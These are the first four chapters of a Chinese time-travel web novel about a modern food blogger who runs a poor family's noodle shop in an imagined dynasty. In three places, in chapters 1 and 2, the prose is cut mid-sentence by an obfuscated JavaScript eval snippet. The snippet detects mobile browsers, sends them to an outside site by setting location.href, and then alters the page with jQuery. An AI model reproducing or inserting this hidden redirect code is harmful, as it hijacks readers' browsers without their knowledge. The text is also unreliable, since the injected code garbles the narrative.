《天机食经》 1. 穿越异世 冬寒腊月，月色才下枝头，除了三三两两衣不蔽体的流民和民房里间或亮起的灯，街道上仍不见多许人影。 偶尔有南迁的鸟儿落在光颓的枝干上想歇息片刻，甫一落脚，便听扑簌簌的积雪轰然落地，吓得鸟儿一个激灵，振翅又飞往别的树上去了。 转眼便是大年，一直晴朗无风的天空却突然下起雨来，淅淅沥沥的，好似要将人们购置年货的热情浇灭。 在这般寒冬之下，就连依山傍水的江南，因着地处南方的优势，纵然只短短地下了几日雪，也依旧抵不住那刺骨的寒风从四通八达的江湖河海处吹来。 尽管如此，“江南域下，四季如春。”的传言仍然吸引了许多北方的豪绅大能前来卧冬。 离州辖下的湖山县里，天际尚未放晴，只听城南的平民宅居处传来几声此起彼伏的鸡鸣，惹得谁家孩童在睡梦中呢喃地翻了个身。其中一进不起眼的小院内，也不知是进了贼子还是怎的，间或有窸窸窣窣的声音响起，扰人清梦。 灰头土脸的尚怀真此时正紧紧裹着一张四处都是补丁的薄棉被，不断吸溜着鼻子，借着还未褪去的月光，在一个很是破烂简陋的灶台上翻找着有没吃食。 然而东翻西找了好一会，她还是两手空空。 穿越过来风吹雨淋、一贫如洗也就算了，现在居然连点吃的都找不到，真的是是可忍孰不可忍！ 尚怀真恼怒地一跺脚，滑落的棉被使寒意瞬间失去了防障，冲入她的五脏六腑，让她冷不丁地打了个极响的喷嚏，整个人抖了一抖，立马怂了下来，不断念叨着：“算了算了莫生气，别让胃受罪。”来安慰自己。 “牛蛋，还这么早，你怎的起来了？” 身后猝不及防响起一把声音，把还在认真寻觅的尚怀真吓了一大跳，差点就要哇一声叫出来了。她拍着胸脯，深呼吸两口气，回头看去，原来是错把自己当成她走丢的孙子的孟奶奶走了进来。 “嘻嘻，奶奶，我肚子有些饿了，来找看看有没吃的。”尚怀真不好意思地用指尖划了划脸，那本就灰蒙蒙的脸上在她的动作下又添了一抹黑。 “你这娃子，肚子饿了就把阿奶叫醒给你做早饭呀，从前都懂的，怎的这次去学堂回来脑子就不好使了。”一头白发的孟奶奶上前把蹲在地上的尚怀真扶起，笑骂道。 仔细看去，她慈祥的眼睛里好像蒙着一层淡淡的白翳，有精而无采。 “倒也不用骂得这么损的。”尚怀真腹诽着，口中却说：“奶奶，为何这厨房里一点吃食都没有呀？” 孟奶奶侧头看了一眼在旁边扶着自己的小小少年，半个月不见，感觉他又长高了许多，答道：“天冷了，平头百姓家里少有余粮，有些不事生计之人饿急了便会去做贼子，趁着夜色摸进他人家里翻屋倒灶，好能熬过这个冬。虽然这些可怜人大都只是为了一口吃食，不会谋财害命，但咱家里三口子本就过得拮据，牛蛋你也正是长身体的时候，实在是没法子再帮他们一把，所以阿奶便把粮食放在自己屋里了。” 尚怀真看了看两人身上的补丁，又望了望四周漏风的围墙，差点一个踉跄摔倒，心想：“我的好天奶哦，咱都过得这样穷了，您还想着去帮别人啊。” 孟奶奶见牛蛋久久没有回话，便拍了拍他的手，道：“天也快亮了，你去喊你爹起床吧，阿奶给你爷俩做好早饭也该去出摊了。” “好咧，您别走太快，我不急的。”尚怀真笑了笑，一溜烟就跑掉了。还是赶紧去找带自己回来的那位便宜爹问清楚现在的情况吧。 孟奶奶站在房门前，看着那风一般的背影充愣了许久，最后叹了口气，笑着摇了摇头，眼里隐有泪光。 另一边，习惯性保持警惕的尚广明在睡梦中突然感觉到有一双眼睛一直盯着自己，陌生的气息和刻意放轻的脚步声由远及近，他心下警铃大起，侧了个身，手慢慢摸向床头的藏刀处。 来找便宜老爹的尚怀真本想敲门的，但没想到那扇门轻飘飘的，一推就开，连一点声音都没有。她纠结地在屋里走了两圈，一方面觉得天还没亮就把别人叫醒有点不太道德，一方面肚子又饿得快受不了了。 “那个，床上的大哥，你睡醒了吗？”最终，素质还是敌不过温饱，她半趴在屏风后，小声问道。 尚广明听到来人的声音，心里松了一口气，直接翻身坐起，说道：“醒了，你去外间等我一会，我更衣后出来。” 尚怀真“喔。”了一声，才在门外站了两分钟不到，身后的屋里就已灯火通明了。 “进来吧。” 尚怀真走进去掩好门，只见正在烤火煮茶的人剑眉入鬓，双目炯炯有神，约莫三十的年纪，白面无须，肤色被风霜染上了些许斑驳，尽管穿着粗布麻衣，也无法掩盖住这一副好风姿。 只右眼眼角下有一道小小的刀疤，略煞风华。 “娘让你过来找我的？”尚广明听对方应了一声，抬眸看了看尚怀真，给她倒了杯热茶，又道：“说吧，有什么想问我的。” 尚怀真把茶杯握在手里，感受着被热水淌过渐渐暖起来的五脏六腑，舒服地叹了一口气，看着对面人严肃的面孔，问道：“我现在感，风寒已经好得差不多了，往后肯定要经常跟奶奶以及邻里接触，而且我还是女生，你真的要让我当牛蛋吗？真正的牛蛋去哪了？” 是的，她很狗血地发现，自己并不是魂穿过来的，而是身穿！还缩水了一轮，直接无痛返老还童回十五六岁时的模样。她只记得那天刚好是自己的生日，晚上想请家人吃一顿好的，便连轴转接了五个探店单，没想到忙完在地铁上刚打开游戏，就被一道惊雷劈过来了这边。 所以说，赚钱这种事还是急不来的，这不，在现代做牛马，来到古代了，还要做牛蛋。要不是当探店博主的这些年心态被磨炼得宠辱不惊，她真想直接给自己来一巴掌，看能不能把自己给呼回去。 尚广明沉默了一会，说：“你除了身量比牛蛋瘦高些，眼鼻更深邃一点，与他有八成相像，那天我把你救回来时，也很是惊讶，世间竟有如此相似之人。至于牛蛋，在遇到你的前几日，我已经将他的尸首安葬好了。” 尚怀真惊讶地“啊！”了一声，赶忙道歉说：“对不起，我不知道……” 尚广明摆了摆手，继续道：“一个月前，李秀才乡试落榜回村后，因落魄时曾受过我娘的资助，便提出让牛蛋到他在隔壁九吉县开的私塾里上学。我知他在那边生活得不开心，但为了不让娘失望，他并没有抱怨什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405577|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不曾想，开始放年假的那日，他和同窗吵嘴后，兀自躲去哪里生闷气，从此就了无踪迹了，再找到时，唉……” 尚怀真见他眼露悲伤之意，也不知道该说些什么，只好静静地听着。 “很抱歉想请怀真姑娘你假冒一段时间牛蛋。当今为了控制人口，截杀流民，没有户籍的人不可入城达州、不可租购田宅，亦不可从事营生。你身无分文、无亲属，还是女子，除非能被人牙子看中，编入奴籍，不然连活着都是个难题。”尚广明说着，停顿了一下，眼底的恨意转瞬即逝，又道： “我娘是个良善的可怜人，满心满眼都为了能看到孙子成家立业那日，你帮我陪她几年，我帮你获得良民身份，也算是互利互惠。当然，你也可以拒绝我，我尽可能资助你一些盘缠，后面的路权看你自己的造化了。” “制度这么严格？”尚怀真苦恼地抓了抓头，想想自己还要活着回现代呢，如果他说的是真的，靠小时候学的那几招三脚猫功夫说不准真没两日就要凉凉了，便答应了下来，悻悻地道：“好吧，那我便在你们这暂时安顿下来，如果被她们发现了我不是牛蛋，可不要怪我哦。” 最后还很皮地补了句：“便宜老爹，感谢您的再生之恩！” 天大地大，命最大。穿越异世第一法则，抱好每一条能让自己活命的大腿！ “老大，牛蛋，快来吃面了。”孟奶奶听房内传来低低的谈话声，里头的人还没有要出来的意思，便敲了敲门，在门外唤道。 听到可以吃饭了，正在小心询问关于这个时代一些细节的尚怀真立马站了起来，高声回了句：“好嘞！”，期待地搓了搓手，刚走出去两步，她突然想到什么，回头对尚广明说：“便宜老爹，你这门有空得修一下了，我刚刚都还没用力，才一碰就开了。” 闻此，尚广明眼中闪过一丝惊讶后，猛地升起一阵狂喜，很快又压了下来，没说话，筑起拐杖，跟了出去。 饥肠辘辘的尚怀真满怀期待地走进偏厅，看见碗里糊成一坨的面时，心情瞬间被浇灭了一半，再一挑筷子把面送入口中，直接难吃出痛苦面具。 那一夹就碎的面条形如米糊，因油份不够导致味同嚼蜡、汤底发灰，甚至只放了极少溶于汤中品不出滋味的盐，完美称得上是色香味俱不全。 她艰难地吞了两口，看向坐在一旁只喝着汤水作餐的孟奶奶，问道：“奶奶，咱家的面馆平时就卖这个面啊？” 孟奶奶很奇怪牛蛋为啥突然会问这个，下意识地答道：“对呀，是阿奶手艺退步了，牛蛋你不爱吃吗？” 看着对方那哭笑不得的表情，她赶忙站起，伸手就要去拿牛蛋的碗，说：“不好吃就算了，阿奶重新再给你做一碗。” “没有没有，是我在学堂里和同窗家的厨子学做过一些简单吃食，以后我跟着去给您帮忙，阿奶您就不用这么辛苦了。”尚怀真看着老人自责的神情，不忍心说出心里那伤人的实话，连吞带咽地将面条吃完后提议道。 “你会做吃食？”孟奶奶狐疑地看着她，有点不太相信。 “士别三日，当刮目相看嘛！您和爹稍等一会，我去做一碗给您们尝尝。”尚怀真自信地拍了拍胸脯，问孟奶奶拿了一些食材，便往厨房去了。 2. 阳春面（一） 走进这座小院的厨房里，尚怀真环视了一圈，见灶台上有一大两小三个灶洞，壁橱上零散放着几个碗碟陶罐，砍好的木柴堆在门边。她还算满意地点了点头，尽管墙壁漏风，体验感差些，但麻雀虽小，五脏俱全，做点吃的还是没问题的。 她又看向自己刚刚拿过来的食材，倒是有点出乎意料，除了没有需要提炼加工的味精、老抽等，基本的盐糖酱醋都有，虽然分量少了些，但足够做好几天的饭了。 “不会颠勺的厨子不是好食客。”这可是尚怀真一直以来的座右铭。 拿起一个碗和两条葱花，简单沥了下水，往里放入一小块猪油、两木勺生抽、些许盐和少许白糖，以作汤底。准备妥当后，刚把水倒进锅里，她才想起，现在是没有煤气电磁炉的古代，在城市里生活后才学会做饭的自己根本不会烧柴火啊！ 正当手足无措之时，突然听到头顶上响起“噗呲”一声，一把好听的男声传来：“看你调味的手法好似挺有路子的，不是连生火都不会吧？” 尚怀真循声望去，只见屋顶的瓦片被揭开，一个看上去十七八岁的少年露着个头，眉眼弯弯，正好笑地看着自己。 “你是谁？干嘛要爬我家屋顶？”虽然对方长得很好看，但一想到今天凌晨里孟奶奶跟自己说的话，她还是没好气地问道。 “你就是牛蛋吧？我是来找你爹的，恰好经过这里，听到有声响，就看了一眼，没想到是有个假把式正想要做饭呢。”少年把瓦片盖好，还没一个眨眼的功夫，就闪到了尚怀真的身前，好奇地看着她调好的汤底。 尚怀真被他的闪现惊得一愣，回过神来对着他的背影默默翻了个白眼，道：“我和你不熟，请叫我的名字，尚怀真。还有，假把式真把式的，你都没吃过我做的东西呢，就妄下定论，可不是君子所为。” 少年回过头来，对着尚怀真露齿一笑，戏谑道：“那真赶巧，我这会也觉着腹中饥饿了，你顺道多做一碗让我品尝下你是否有真实力吧。” 那笑容迎着从墙角透进来的朝霞，灿烂且纯粹，高高束起的墨发在扭头的瞬间随风扬起，一袭胜雪白衣之下，映衬得这位朗眉星目的少年风度不凡、恣意洒脱。 尚怀真不得不感叹他长得实在是太出众了，身量挺拔，眉目如画，举手抬足间感觉就能迷倒万千少女，可惜实际上快要奔三的自己对这种小男孩不感兴趣。 她拨开对方甩到自己脸上的头发，有些无语地说：“想蹭吃就想蹭吃，说的好像我才是被施舍的那个，饿了就快点过来帮我生火。” 少年名叫李修阙，说是来跟着便宜老爹学武术的。尚怀真回想起那个拄着拐杖的严肃面孔，搞不明白一个瘸子可以怎样教别人武术，不过她现在正努力地学着如何生火调火，没空八卦这么多，就将这事抛之脑后了。 在李修阙的帮助下，尚怀真等锅里的水烧开后，加了几滴醋，先打入两个鸡蛋，小火盖锅，闷熟后捞至碗里，再添柴，大火放入面条，约两到三分钟后夹起，趁热将汤水淋入调制好汤底的碗中，冲开猪油后，汤底在开水刺激下融合的那一刻，香味顿时四溢开来。 圆滚白溜的鸡蛋铺在面条上，葱花浮在汤面，好似众星拱月一般。 看着卖相，嗅着香味，李修阙很努力地吞着口水，不让哈喇子流一地。他迫不及待地端起自己那碗面，浅尝了一口面汤，只觉鲜香中带着一丝甜味，明明没有肉菜，唇齿间却能感觉到肉香。 “太好吃了！比从前吃过的阳春面都要好吃！”李修阙想着，回过神来，面汤已经被他喝了大半，他连忙拿过一双筷子，夹起劲道十足的面条，吸溜两下，满足地一口气吃完后，还不死心地在碗底翻找有没有剩下的碎面。 当吃到鸡蛋时，刚咬破一小口，里头的蛋黄就如汁水般流了出来，他有些不确定这是不是还没煮熟，转头看向尚怀真，却见对方呆在那里不知在想些什么。 【叮咚！恭喜玩家成功解锁《天机食经》菜品——阳春面。检测到玩家目前最大的心愿是：“回到现代”，请玩家再接再厉，解锁完全部菜品后，可实现当下愿望。】 尚怀真刚想把做好的阳春面端去偏厅给孟奶奶尝一尝，眼前却突然白茫茫一片，脑海里“叮”的一声，清晰后竟来到了一个小庄园里，正在和她说话的居然是一只招财猫。 “你是猫妖？这里是哪里？”她好奇地环顾四周，问道。 短时间里被迫接受的惊吓太多，对于这些离奇事物，她已经变得十分淡定了。 【我是你的系统指引者，你可以叫我老咪。这里是你的精神庄园，你可以在这里种植和存储一些商城里购买的稀有果蔬，以解锁更多的菜品。】 老咪说罢，尚怀真看到它头上冒出了几个按钮，其中有一个就是“商城”。她小心地伸手按过去，居然还真的能点开，不过目前里面都还是一片灰黑色。 【每款菜品都有三个评级，分为良品、优品和极品，达到良品可一键归纳食材，优品可获得烹饪币以在商城里进行交易，极品则解锁特殊功能，特殊功能需用精神庄园里种出的食材制作后方可生效。】 虽然听上去挺好玩的，但尚怀真现在无比想念现代的家人朋友们，她有些难以接受，无奈地问道：“我不想玩这个，可以现在就把我送回现代吗？你们再另外去找想玩的人过来。” 【不好意思，游戏一旦开启，玩家必须要完成指定任务后方能离开。】 尚怀真一屁股瘫坐在地，此时此刻的她真的特别想骂人，心情比刚穿越过来那会更要糟糕，这种莫名其妙被选中为无妄之灾的承受者的境况，让她难受地有些喘不过气来，她不明白为什么偏偏是自己中了这么个狗屎运“大奖”。 但是本能的求生欲还是驱使着她想为那看得见的希望拼一把。 【我们的玩家果然是人中龙凤，因玩家目前的精神力还不够强大，为保护玩家的大脑，此次进入系统的时间不可超过十分钟，请玩家好好努力，咱们下次见。】 “喂喂，等下，我还有问题没问完呢！现在这些是真人还是NPC啊？还有……”尚怀真感觉脑袋有点沉，眼前的庄园好像也开始慢慢变得虚化，抓紧询问。 【请玩家自行探索。】 老咪没有理会还在无能狂怒的尚怀真，直接将她的神识踢回现实世界。 还没消化完这巨大信息量的尚怀真眼前复一白，再一亮，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405578|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到了漏风的厨房里，体感温度猛然回归，反射性地打了一个冷颤。 她看向手里的面，却仍旧在冒着热气。 “怀真，你怎的呆住了？这个鸡蛋这样是不是还没熟透？可以吃吗？”李修阙见尚怀真的瞳孔又重新有了神采，连忙问道。 尚怀真看着眼前眉飞色舞的少年，听他说自己只是呆住，而不是消失了，不想接受现实的心便也只能接受了。 她叹了一口气，看了看李修阙碗里的鸡蛋道：“当然可以吃。这个叫流心蛋，蛋白成型后让蛋黄焖至自然凝固，在即将成型前将其捞出就能保持其流动的形态。不过我这次火候没掌控好，做得不够漂亮。” 听到说可以吃，李修阙三下五除二就把碗里的所有东西都吃完了，意犹未尽地举着大拇指道：“好吃好吃！改明儿我来的时候，你还可以再做给我吃吗？” 尚怀真被他那贪吃的模样逗乐了，先前的郁闷也去了大半，笑道：“你给钱的话，也不是不可以。对了，我刚刚发了多久的呆？” “没多久呀，两个眨眼的功夫罢了，我见你杵在那，瞳孔涣散无神才发现的。”李修阙说完，刚把碗放下，只听外边有脚步声在靠近，丢下一句：“有人过来了，我先走一步，下次记得再给我做好吃的。”便一闪又不见了人影。 只见李修阙吃完的面碗下，正压着十个铜板。 尚怀真失笑地摇了摇头，没想到他大大咧咧、风风火火的，却是个心细之人。 “牛蛋，适才隔壁的王婆和刘婶过来扣门，问咱家在煮些什么好吃的，香气都飘过去她们那边了，你这是做了什么这么香呀？”没一会，孟奶奶走进厨房，嘴上跟尚怀真说着话，眼睛早就随着不断钻进鼻腔里的香气看向她手里端着的那碗面了。 “阿奶你来得正巧，这是我做的阳春面，你快趁热尝一尝。”尚怀真赶忙将筷子和面条递给孟奶奶，一脸期待地看着她。 孟奶奶挑筷入口，微阖的双眼突然大睁，两行清泪径直流出，喜极而泣道：“好好好，牛蛋你竟能有这般手艺，长大了，真的长大了，阿奶的牛蛋会照顾自己了。” 尚怀真被这突如其来的感伤吓得手足无措，手忙脚乱地忙用袖子帮孟奶奶拭去眼泪，扶她在一旁的小板凳上坐下。 孟奶奶有点不舍的把吃了一半的阳春面搁在灶台上，欣慰地拍着尚怀真的手，破涕为笑，说：“好孩子，阿奶没事，阿奶可以把你这碗面端去给王婆和刘婶看，说是你做的吗？” “当然。”尚怀真毫不迟疑地答应了，转瞬又想了想，问：“王婆和刘婶人怎样？是阿奶您的好朋友吗？” “她们人很好的，往常给了我不少帮助，诺大条南街，也只有她们不嫌弃我孀居多年。你小时候还经常去和她们家的孩子玩呢。”提到这两位老姐妹，孟奶奶眉开眼笑，脸上的皱纹好似能开出花来。 尚怀真看着孟奶奶的神情，灵机一动，打了一个响指，道：“那很好，与其只让她们知道我会做出很香的面，不如免费请她们吃，让她们去给咱们店里打个广告，就说这阳春面是在咱们永兴面馆买的。” 孟奶奶被她的话唬得一愣一愣的，疑惑地问道：“广告？” 3. 阳春面（二） 湖山县的邑阳街上，已至晌午，街头一家寻常毫不起眼的小面馆里，今日却人满为患。 刘婶领着自家的小孙子，给过钱，捧着一碗热气腾腾的面坐在了靠近街道的餐位上，她喉头鼓动地看着孙子大快朵颐的模样，脸上露出幸福满足的笑容。 有路人正想找家小餐馆简单解决一下午饭，经过这里时好奇地看了看婆孙两人，又看了看排着长队的永兴面馆，用力嗅着从里间飘出来的香气，向刘婶问道：“大娘，这永兴面馆从前不都门可罗雀吗，今日生意怎这般好？您家孙子吃的是什么？闻着好香。” “从前那是从前罗，今日面馆换新厨子了，这阳春面做得好吃不说，还有新品大酬客活动，在我带孙子来之前，我都已经吃了两碗嘞，那真的叫一个回味无穷。趁现下这阳春面还未售罄，你赶紧去排队吧。”刘婶闻声，看了一眼比自己刚来时排得还长的队伍，笑着答道。 说完后，她嘱咐好孙子乖乖坐着吃面，不要乱跑，赶忙站起来去抓住男子的衣袖，小声道：“这位小哥稍等一下，你一会去付钱点餐的时候，记得说是我刘春花推荐的哈。” “为何？”路人望着那长长的队伍已经有点望而却步了，突然被刘婶抓住更是直接蒙圈，心想这些人不会都是被这个大娘拉过去的吧？ “那简直是送钱咧！你一会去问下他家老板就知道啦，记得要说是我推荐的哦，你快去吧，我得去看下我孙子那碗面里还有没有剩下些留给我吃的了。”刘婶摆了摆手，也不理会路人那将信将疑的表情，兀自快步回座位去了。 如果尚怀真此时能听到这些对话的话，绝对要给刘婶比十个大拇指，不得不说这真的是质朴的纯天然活广告啊。 然而这会痛并快乐着的她正忙得脚不沾地呢。 早上做出的阳春面在得到王婆和刘婶的一致好评后，尚怀真了解了一下现在的面食的市场价，让她俩回去帮忙拉一下客，便和便宜老爹商量起自己的计划来。 原来尚广明当年十六岁通过府试成为童生后，接连两次的乡试都失利了，还想再考之时，比自己资质优越的弟弟连中小三元，一气呵成成为了村里数一数二的秀才公，一向体弱多病的尚父激动之下直接晕死了过去，郎中赶到时，已没了生息。 守孝完后，趁着弟弟出外赶考之际，族里人纷纷前来瓜分尚父的遗产。尚广明看着这些年因早起贪黑操劳家业供自己两兄弟进学，还要长年累月照顾病榻上的父亲而导致早早白了头的母亲，再看看自己久不事耕作的双手，无可奈何之下，只好将村里的田地都上交族长，以求每月里能得到一些分红以维持生计，随后便带着老母亲，到湖山县里守着一家永兴面馆过活了。 过了数月，原想着弟弟考中举人后能贴补一下家里，让辛苦了半辈子的母亲过上好生活，没想到那白眼狼竟然入赘京里的官家小姐，直接否认在村里有父母兄弟。一怒之下，尚广明雇了个洒扫婆子，给了王婆刘婶一笔钱，让她们帮着自己多照看一下母亲，毅然从军去了。 这一去便是五年。 再回来时，官职没挣到，却因为闯入敌军时，被砍断了腿，将军见他再无冲锋陷阵的能力，便给了一笔连多买两剂药都不够的抚恤金，让他回来了。 尚怀真起初只是问便宜老爹是否识字，没曾想听到了这么一段悲惨经历，她眼眶红了红，轻轻叹了一口气，问道：“那你的腿还能治好吗？” “或许可以，或许不能，现在能维持温饱就不错了，不敢妄想了。”尚广明平静地说完，摇了摇头，将草纸铺开，把看着做工很差的毛笔蘸上墨，又道：“你说吧，我来写。” “嘻嘻，不要沮丧，为了报答你们的收留之情，我一定会尽最大努力多赚钱，带你们吃香喝辣，让你们的生活好起来的！”尚怀真联想到自己小时候也是被奶奶一手带大的，后面考中名牌大学出息了，父母才来接自己回去，不禁失神了一瞬。她站起身来，不知是感同身受还是不忍见世间疾苦，露出一个灿烂笑容，拍了拍便宜老爹的肩道。 尚广明似乎被她的乐观感染了，嘴角弯了弯，难得幽默地说：“快晌午了，再不抓紧出摊，别说香的辣的，西北风都不一定有得吃。” “好嘛，便宜老爹，你看你笑起来多好看，平日里就该多笑笑，等生意红火起来了，说不定我还能给你讨个媳妇儿呢。”尚怀真吐了吐舌，乖巧地坐下。 一人写，一人说，紧锣密鼓的，没过多久，午时一刻，永兴面馆便在尚怀真右手一个铜锤，左手一个铜盆下开张了。 煮好两碗用于点餐参考的阳春面和素面，她将铜盆比作金碗，以祈盼盆满钵满之意，敲响三下，大声念道：“今日一碗永兴面，明日财源滚滚来，明日一碗永兴面，往后身强家兴旺。” 在系统里看着尚怀真这没脸没皮的乐观劲，老咪不得不感叹，能被选中的玩家，果然都是有些过人的才能的。 被吸引过来的平民们好奇地围观着眼前这位生得好看的小郎君，他们都极少见这个年纪的儿郎已能做一家食肆的掌勺。 闻着面香，有个刚下工的魁梧汉子，早就感觉到饥饿难耐了，他大步流星地走上前，指着有鸡蛋的那碗面问道：“娃娃，你家这面真香，要几多钱一碗？” “这位大哥您好，这是阳春面，现点现做，不贵的，您可以到我爹那里看看价格。”说罢，尚怀真甜甜一笑，指了指旁边的柜台。 见此，除了几个手头没钱的小孩和趁乱闯入城中的流民，其他人都围过去了尚广明那边。 刚刚找尚怀真问话的魁梧汉子看了看价格，回答了后面不识字的妇人的询问后，虽觉得比别的面馆的面价贵了一文有点心痛，但还是经不住那扑鼻香味的诱惑，点了一碗。 随后，在看着这些人吃得头都不抬，以及王婆和刘婶的拉客大法下，排队的人越来越多…… 适才被刘婶忽悠过来的男子抚着咕噜作响的肚子，招呼走了三个熟人，探头看了看与自己还有五六人距离的大锅，此刻正冒着热气，那热气夹着香气不断涌入他的鼻腔，让他不禁垂涎三尺，心想终于快轮到自己了。 又等了一会，走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405579|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到柜台处，只见一张草纸上写着：“阳春面，六文一碗，素面，三文一碗，为庆祝面馆上新，明后三天，阳春面第二碗半价，素面买一送一，每人限购三碗，先付后用，不好吃全额退钱。” 男子侧头看了看不远处同村吃得正香的梁二，咽了一口口水，对掌柜说道：“掌柜的，给我来一碗阳春面吧。” “好的，这是餐券，请您拿好。”尚广明收了钱，在两张撕成一片片的小方纸上写下‘阳二九’三个字，递给男子。 尚怀真原本是想用木块做餐牌的，还可以回收利用，但一是没钱，二时间太赶，只能先用纸将就着，等后面有钱了再将其安排上日程。 男子接过字条，觉得挺新奇，正左翻右看着，突然想起刘婶说的话，又问道：“掌柜的，适才刘春花让我跟你说是她推荐我来的，她为何让我这般说？” “新厨子，新气象。每推荐一个新顾客过来我们永兴面馆消费，下次您来点餐即可享受二文优惠，如不用餐亦可折现一文。”尚广明其实并不懂为什么要这么做，只复述着尚怀真教他的话。 男子一听到有钱赚，立马激动起来，忙问：“那我也可以推荐人过来领钱吗？” “可以的，请问您尊姓大名？” - 日上中天，暖阳普照大地，驱散了身上的大半寒意，再配上一碗热气腾腾的鲜香阳春面，简直不要太惬意。许多吃了一碗的食客又回家带着小孩，来把今天限购下的其他两碗点完了。 忙碌了许久，还差半柱香的时间才到未时，面就已经卖完了，甚至老早因为鸡蛋不够用，后面只能卖素面了。 尚怀真简单清理了一下灶台，走进身后的客栈里，只见临时雇的洗碗婆子已经结钱走了，孟奶奶在擦拭着洗好的碗，便宜老爹正打着算盘划着钱。 她看了一眼这个客栈，很大，有三层楼高，但因年久失修，里面又潮又湿，除了特地清理出来的一方桌子，别的地方都布满了蜘蛛丝，甚至坐着的长椅都是有裂痕的。 “奶奶，这家客栈也是我们的吗？”尚怀真好奇地问道。 “对呀，可惜奶奶有心无力，赚不了几个钱，你爹腿脚也不利索，难事经营，便只在门前支起一个面馆，这里就荒废下来了。”孟奶奶停下手里的活，锤着今天走酸了的腿，笑着答道。 “哇，那太可惜了。”尚怀真感叹了一声，点点头，右手托着下巴，在想应该要怎样改造这家客栈。 “今天卖出三十六碗阳春面和二十一碗素面，收入二百七十九文，因食材都是之前积压的，成本难以追算，除去给几位推荐人的返钱、洗碗婆子的工钱，还余二百四十六文，这些钱你打算如何分配？”尚广明将每一百文串起，看着眼睛滴溜直转的尚怀真，问道。 “这里又破又烂的，咱们去买块上等的好猪肉，今晚回家吃顿好的庆祝庆祝，吃饱喝足了再慢慢讨论。”尚怀真拿起桌上的一陌钱，双眼放光地数着，兴奋地道。 她心想：这些都是古董啊，如果能带回现代，那不就发财了吗？嘿嘿嘿…… 4. 圆叶荷花 从破败不堪的客栈回到上雨旁风的小院，终于能歇下来的尚怀真躺在刚捂暖的被子里，感觉四肢都要散架了，夹了一个中午面条的手指也快要不属于自己了。 虽然在现代的生活条件也就一般般，但跟这里相比简直是天壤之别，身上的疲惫感让她鼻子酸酸地有点想哭，赶忙从怀里拿出分到的铜钱，放在鼻端狠狠嗅了一口，心里默默给自己打气：“勇敢小真，不怕困难，好生活是靠自己创造的！” 因为物价偏高，手上拿着的这两百文看上去好像很多，但其实根本不够尚怀真去购置理想中的食材。 她一开始兴致勃勃地想着把三天的食材成本扣除后，剩下的利润三个人平分，自己就可以悄悄存个小金库了。却没想到，钱没分着，还要便宜老爹从库里再拿出来一点才能补够自己的需求。 她当时就蒙了，只好暂时放下远大目标，乖乖地一天天一步步走起。 在尚广明处套话得知，现在这个朝代源于晚唐安史之乱激斗时，一场大火从皇城宫内燃起后，时空发生了扭转。同时也在发生着内乱的现时空，奉国皇帝一手执着天子帝印，一手拿着天机图，脚踩旧皇头颅，站在已被大雨浇灭的火堆前，高呼一统。 但凭借着武力值爆棚而碾压四方的奉高祖实际上只是个酒囊莽夫，御下几年，从战乱时就开始居高不下的物价依然不见回落，饥寒交迫的百姓们敢怒不敢言。在其驾崩后，奉献宗方继位三年，顶不住民怨沸腾的他，就真的把奉朝“献”给了当今的宁朝。 彼时，非正统的宁太宗横空出世，有经纬之能、治世之才，短短两年就控制住了高昂的物价，使民众得以休养生息。可惜天妒英才，膝下无嗣的他英年早逝，在位仅十二年，便携着天机图，一同崩于收复平华十一州的战场上。 当今明帝乃太宗嫡兄，继位之初尚可承先帝之业，励精图治，近一年来却越发沉迷酒色，使国库亏空，税费大涨。底下官员难出政绩，故而克扣民膏民脂，贪官剧增，百姓收少支多，饿殍满地。 现正值兴德十七年腊月。 所以尚怀真目前的处境严格来讲并算不上天崩开局，至少有瓦遮头，有衣穿，有饭吃，只是比不得许多小说里面那些刚穿越就能拥有富贵身份的人罢了。 她很想给这款游戏创作者的脑洞点个赞，但看着袖腕处的补丁，刚竖起的拇指直接往下了。 永兴面馆的客群定位是底层劳动人民，如今普通人一天的工钱只有七十文左右，一家三口一个月至少要吃一斗米，现在江南物资富庶，还是无战无灾的情况下，每斗糙米的价格就已高达六十文，加上油盐衣袜等日常用品的开销，老百姓可以拿出来在外边买吃食的余钱并不多。 所以从长远看，只做普通百姓的生意注定是会亏本倒闭的，必须要把产业打入中上层富贵人家的心里，才有发达的可能。 但现在根基薄弱，又不得不先把普通百姓的胃口抓牢，以防西瓜没抓着，芝麻也丢了。那该如何才能立足底层市场来开拓上层空间呢？ “算了，先睡一觉再说，下午去集市里逛逛或许就想到了。”尚怀真缩坐在被子里思考着，头一点一点的，还没想出个所以然来就犯困了，便直接裹着被子倒下，不到两秒就睡了过去。 